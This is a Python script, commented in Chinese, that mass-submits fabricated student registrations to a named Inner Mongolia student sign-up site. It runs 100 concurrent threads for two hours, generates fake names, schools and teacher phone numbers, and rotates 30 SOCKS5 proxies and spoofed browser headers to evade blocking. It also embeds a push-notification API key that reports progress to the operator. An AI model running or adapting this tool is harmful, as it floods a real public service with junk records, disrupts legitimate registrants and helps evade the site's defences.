#!/usr/bin/env python3 """ 批量注册脚本 - 内蒙古学生报名系统 (高强度并发版 + SOCKS5代理) 目标: http://nmgsnjsr.nmgnm.cn """ import requests import random import time import threading import json from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime import socket # ============================================ # 配置 # ============================================ TARGET = "http://nmgsnjsr.nmgnm.cn" SUBMIT_URL = f"{TARGET}/api/submit.php" # Server酱推送配置 SCKEY = "sctp7487t1oar49wlwkey1s7owymazc" PUSH_URL = "https://7487.push.ft07.com/send/sctp7487t1oar49wlwkey1s7owymazc.send" # 运行配置 CONCURRENT = 100 # 并发数 DURATION_HOURS = 2 # 运行时长(小时) # SOCKS5 代理池 SOCKS5_PROXIES = [ "45.63.88.46:1080", "64.23.233.58:1080", "208.85.17.120:1080", "109.172.30.195:1080", "31.130.152.120:443", "85.117.248.36:1080", "92.49.190.147:1080", "195.14.112.70:1080", "8.219.70.174:443", "8.219.195.129:1080", "47.253.71.133:1080", "163.61.199.70:5555", "79.143.30.85:1080", "81.23.188.183:1080", "43.207.102.83:1080", "43.207.150.235:1080", "85.198.67.197:1080", "146.103.125.38:1080", "146.103.42.20:1080", "103.212.187.85:1080", "88.222.213.240:40000", "46.101.184.29:1080", "185.125.201.149:7443", "119.148.7.10:22122", "43.129.80.138:18999", "213.199.41.15:1080", "77.239.112.110:1080", "91.217.81.131:1080", "95.179.186.122:1080", "62.148.236.43:5555", ] # 模拟浏览器 UA 池 USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 OPR/106.0.0.0", ] # ============================================ # 数据池 # ============================================ REGIONS = { "呼和浩特市": ["回民区", "赛罕区", "玉泉区", "新城区", "托克托县", "土默特左旗", "和林格尔县"], "包头市": ["昆都仑区", "青山区", "东河区", "九原区", "土默特右旗", "石拐区", "固阳县", "白云鄂博矿区", "达尔罕茂明安联合旗"], "呼伦贝尔市": ["海拉尔区", "满洲里市", "扎兰屯市", "牙克石市", "根河市", "额尔古纳市", "阿荣旗", "鄂温克族自治旗", "鄂伦春自治旗", "莫力达瓦达斡尔族自治旗", "新巴尔虎左旗", "新巴尔虎右旗", "陈巴尔虎旗", "扎赉诺尔区"], "兴安盟": ["乌兰浩特市", "扎赉特旗", "突泉县", "科尔沁右翼前旗", "科尔沁右翼中旗"], "通辽市": ["科尔沁区", "霍林郭勒市", "科尔沁左翼中旗", "科尔沁左翼后旗", "扎鲁特旗", "库伦旗"], "赤峰市": ["红山区", "松山区", "元宝山区", "克什克腾旗", "阿鲁科尔沁旗", "巴林左旗", "巴林右旗", "林西县", "翁牛特旗", "喀喇沁旗", "敖汉旗", "宁城县"], "鄂尔多斯市": ["东胜区", "康巴什区", "达拉特旗", "准格尔旗", "伊金霍洛旗", "乌审旗", "鄂托克旗", "鄂托克前旗", "杭锦旗"], "巴彦淖尔市": ["临河区", "五原县", "乌拉特前旗", "乌拉特后旗", "乌拉特中旗", "杭锦后旗", "磴口县"], "乌海市": ["海勃湾区", "海南区", "乌达区"], "锡林郭勒盟": ["锡林浩特市", "二连浩特市", "阿巴嘎旗", "苏尼特左旗", "太仆寺旗", "正蓝旗"], "乌兰察布市": ["集宁区", "丰镇市", "察哈尔右翼前旗", "凉城县", "商都县", "化德县"], "阿拉善盟": ["阿拉善左旗", "阿拉善右旗"], } SCHOOLS = [ "第一小学", "第二小学", "第三小学", "第四小学", "实验小学", "第一中学", "第二中学", "第三中学", "实验中学", "蒙古族小学", "蒙古族中学", "民族小学", "民族中学", "第四中学", "第五小学", "第六小学", "附属小学", "附属中学", "敕勒川小学", "经棚第二小学", "红山区第四小学", "水源路小学", "健康街小学", "繁荣小学", "新城二小", "大河湾镇学校", ] LAST_NAMES = [ "王", "李", "张", "刘", "陈", "杨", "赵", "黄", "周", "吴", "徐", "孙", "马", "朱", "胡", "郭", "高", "林", "何", "郑", "于", "宋", "韩", "冯", "曹", "许", "邓", "崔", "任", "白", "田", "闫", "石", "吕", "孔", "秦", "袁", "丁", "乔", "沈", "魏", "陶", "姜", "卢", "苏", "蔡", "贾", "薛", "段", "雷", "侯", "龙", "齐", "康", "毛", "温", "武", "戴", "常", "付", "陆", "郝", "孟", ] FIRST_CHARS = [ "子", "宇", "一", "梓", "艺", "思", "博", "文", "雨", "欣", "然", "若", "佳", "泽", "明", "天", "浩", "书", "泓", "益", "美", "畅", "阳", "昊", "千", "祎", "阿", "吉", "振", "蕊", "彤", "晓", "建", "国", "志", "平", "安", ] SECOND_CHARS = [ "涵", "豪", "洋", "瑶", "萱", "睿", "程", "源", "铭", "语", "轩", "瑜", "廷", "宜", "妍", "峰", "皓", "哲", "茗", "泰", "远", "赫", "凡", "诺", "琦", "琳", "莉", "芳", "华", "军", "伟", "强", ] GRADES = ["幼儿园", "一年级", "二年级", "三年级", "四年级", "五年级", "六年级", "初中组"] CLASSES = [f"{i}班" for i in range(1, 13)] # ============================================ # 全局统计 # ============================================ stats_lock = threading.Lock() total_success = 0 total_fail = 0 total_count = 0 start_time = None stop_flag = False # 代理统计 proxy_stats = {} proxy_lock = threading.Lock() # ============================================ # 代理管理 # ============================================ def get_random_proxy(): """随机获取一个SOCKS5代理""" proxy_str = random.choice(SOCKS5_PROXIES) host, port = proxy_str.split(":") return host, int(port), proxy_str def create_session_with_proxy(): """创建带代理的requests session""" host, port, proxy_key = get_random_proxy() # 更新代理统计 with proxy_lock: if proxy_key not in proxy_stats: proxy_stats[proxy_key] = {"success": 0, "fail": 0} session = requests.Session() # 设置SOCKS5代理 session.proxies = { 'http': f'socks5://{host}:{port}', 'https': f'socks5://{host}:{port}' } return session, proxy_key # ============================================ # 推送函数 # ============================================ def send_push(title, content): """通过Server酱发送推送""" try: data = { "title": title, "desp": content } resp = requests.post(PUSH_URL, data=data, timeout=10) return resp.status_code == 200 except Exception as e: print(f"\n[推送失败] {e}") return False # ============================================ # 生成函数 # ============================================ def random_element(arr): return random.choice(arr) def generate_phone(): prefixes = ["138", "139", "150", "151", "152", "157", "158", "159", "180", "187", "188", "134", "135", "136", "137", "147", "155", "156", "181", "182", "183"] prefix = random.choice(prefixes) suffix = "".join([str(random.randint(0, 9)) for _ in range(8)]) return f"{prefix}{suffix}" def generate_name(): last = random.choice(LAST_NAMES) first = random.choice(FIRST_CHARS) if random.random() > 0.5: first += random.choice(SECOND_CHARS) return f"{last}{first}" def generate_headers(): return { "User-Agent": random.choice(USER_AGENTS), "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Origin": TARGET, "Referer": f"{TARGET}/index.php", "Connection": "keep-alive", "Cache-Control": "no-cache", "Pragma": "no-cache", } def build_payload(): """生成一条随机注册数据""" city = random.choice(list(REGIONS.keys())) county = random.choice(REGIONS[city]) school = f"{city}{county}{random.choice(SCHOOLS)}" grade = random.choice(GRADES) class_name = random.choice(CLASSES) student_name = generate_name() teacher_name = generate_name() teacher_phone = generate_phone() return { "city": city, "county": county, "school_name": school, "grade": grade, "class": class_name, "student_name": student_name, "teacher_name": teacher_name, "teacher_phone": teacher_phone, } # ============================================ # 注册函数 # ============================================ def do_register(): """单次注册（使用代理）""" global total_success, total_fail, total_count payload = build_payload() headers = generate_headers() # 获取代理session session, proxy_key = create_session_with_proxy() try: resp = session.post( SUBMIT_URL, json=payload, headers=headers, timeout=15, verify=False, ) data = resp.json() with stats_lock: total_count += 1 if data.get("code") == 200: total_success += 1 with proxy_lock: proxy_stats[proxy_key]["success"] += 1 rid = data.get("id", "?") if total_count % 50 == 0: # 每50条打印一次 print(f"[OK] #{total_count} | 成功:{total_success} | 失败:{total_fail} | 代理:{proxy_key} | ID:{rid}") return True else: total_fail += 1 with proxy_lock: proxy_stats[proxy_key]["fail"] += 1 msg = data.get("msg", "未知错误") if total_count % 50 == 0: print(f"[FAIL] #{total_count} | 成功:{total_success} | 失败:{total_fail} | 代理:{proxy_key} | {msg}") return False except Exception as e: with stats_lock: total_count += 1 total_fail += 1 with proxy_lock: proxy_stats[proxy_key]["fail"] += 1 if total_count % 50 == 0: print(f"[ERR] #{total_count} | 成功:{total_success} | 失败:{total_fail} | 代理:{proxy_key} | {str(e)[:40]}") return False finally: session.close() # ============================================ # 工作线程 # ============================================ def worker(): """持续工作直到停止""" while not stop_flag: do_register() # ============================================ # 统计报告线程 # ============================================ def stats_reporter(): """定期打印统计信息""" while not stop_flag: time.sleep(30) # 每30秒报告一次 with stats_lock: elapsed = time.time() - start_time rate = total_count / elapsed if elapsed > 0 else 0 print(f"\n{'='*60}") print(f"[统计] 时间:{datetime.now().strftime('%H:%M:%S')} | " f"总数:{total_count} | 成功:{total_success} | " f"失败:{total_fail} | 速率:{rate:.2f}/秒") # 显示代理统计 with proxy_lock: active_proxies = len([p for p in proxy_stats.values() if p["success"] + p["fail"] > 0]) print(f"[代理] 使用中: {active_proxies}/{len(SOCKS5_PROXIES)}") print(f"{'='*60}\n") # ============================================ # 主程序 # ============================================ def main(): global start_time, stop_flag # 屏蔽 SSL 警告 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) print("=" * 60) print(" 批量注册脚本 - 内蒙古学生报名系统") print(" (高强度并发版 + SOCKS5代理池)") print("=" * 60) print(f"目标: {SUBMIT_URL}") print(f"并发: {CONCURRENT} | 时长: {DURATION_HOURS}小时") print(f"代理池: {len(SOCKS5_PROXIES)} 个SOCKS5代理") print("=" * 60) print() # 检查代理可用性 print("[检查] 测试代理连接...") working_proxies = 0 test_count = min(3, len(SOCKS5_PROXIES)) for proxy_str in SOCKS5_PROXIES[:test_count]: try: host, port = proxy_str.split(":") session = requests.Session() session.proxies = { 'http': f'socks5://{host}:{port}', 'https': f'socks5://{host}:{port}' } resp = session.get("http://httpbin.org/ip", timeout=5) if resp.status_code == 200: working_proxies += 1 print(f" [OK] {proxy_str} - 可用") session.close() except: print(f" [FAIL] {proxy_str} - 不可用") print(f"\n[结果] 测试完成: {working_proxies}/{test_count} 可用") print() # 发送开始推送 start_msg = f""" 注册任务开始通知 开始时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 目标地址: {TARGET} 并发数量: {CONCURRENT} 运行时长: {DURATION_HOURS}小时 代理数量: {len(SOCKS5_PROXIES)} 个SOCKS5 模式: 高并发 + 代理池 """ print("[推送] 发送开始通知...") if send_push("内蒙古报名注册任务开始 (代理模式)", start_msg): print("[推送] 开始通知发送成功") else: print("[推送] 开始通知发送失败") print() print("=" * 60) start_time = time.time() print(f" 开始时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") print(" 任务运行中...") print("=" * 60) print() # 启动统计报告线程 reporter = threading.Thread(target=stats_reporter, daemon=True) reporter.start() # 启动工作线程池 with ThreadPoolExecutor(max_workers=CONCURRENT) as executor: futures = [] for i in range(CONCURRENT): futures.append(executor.submit(worker)) # 等待指定时长 time.sleep(DURATION_HOURS * 3600) # 设置停止标志 stop_flag = True print("\n[停止] 时间到，等待当前请求完成...") # 等待所有线程结束 time.sleep(3) # 最终统计 end_time = time.time() elapsed = end_time - start_time # 统计代理使用情况 proxy_report = "" with proxy_lock: sorted_proxies = sorted(proxy_stats.items(), key=lambda x: x[1]["success"] + x[1]["fail"], reverse=True)[:10] proxy_report = "\n代理使用TOP10:\n" for proxy, stats in sorted_proxies: total = stats["success"] + stats["fail"] if total > 0: success_rate = f"{stats['success']/total*100:.1f}%" else: success_rate = "0%" proxy_report += f" {proxy}: {total}次 | 成功:{stats['success']} | 成功率:{success_rate}\n" # 计算成功率 if total_count > 0: success_rate_str = f"{total_success/total_count*100:.1f}%" else: success_rate_str = "0%" print() print("=" * 60) print(" 注册任务完成!") print("=" * 60) print(f"用时: {elapsed/3600:.2f}小时 ({elapsed/60:.1f}分钟)") print(f"总数: {total_count} | 成功: {total_success} | 失败: {total_fail}") print(f"速率: {total_count/elapsed:.2f} 次/秒") print(f"成功率: {success_rate_str}") print(f"代理使用: {len([p for p in proxy_stats.values() if p['success']+p['fail']>0])}/{len(SOCKS5_PROXIES)}") print(proxy_report) print("=" * 60) # 发送完成推送 end_msg = f""" 注册任务完成报告 开始时间: {datetime.fromtimestamp(start_time).strftime('%Y-%m-%d %H:%M:%S')} 结束时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 运行时长: {elapsed/3600:.2f}小时 ({elapsed/60:.1f}分钟) 统计数据: 总注册数: {total_count} 成功数量: {total_success} 失败数量: {total_fail} 请求速率: {total_count/elapsed:.2f} 次/秒 成功率: {success_rate_str} 代理使用情况: 使用代理: {len([p for p in proxy_stats.values() if p['success']+p['fail']>0])}/{len(SOCKS5_PROXIES)} {proxy_report} 目标: {TARGET} 并发: {CONCURRENT} """ print("\n[推送] 发送完成报告...") if send_push("内蒙古报名注册任务完成 (代理模式)", end_msg): print("[推送] 完成报告发送成功") else: print("[推送] 完成报告发送失败") if __name__ == "__main__": main()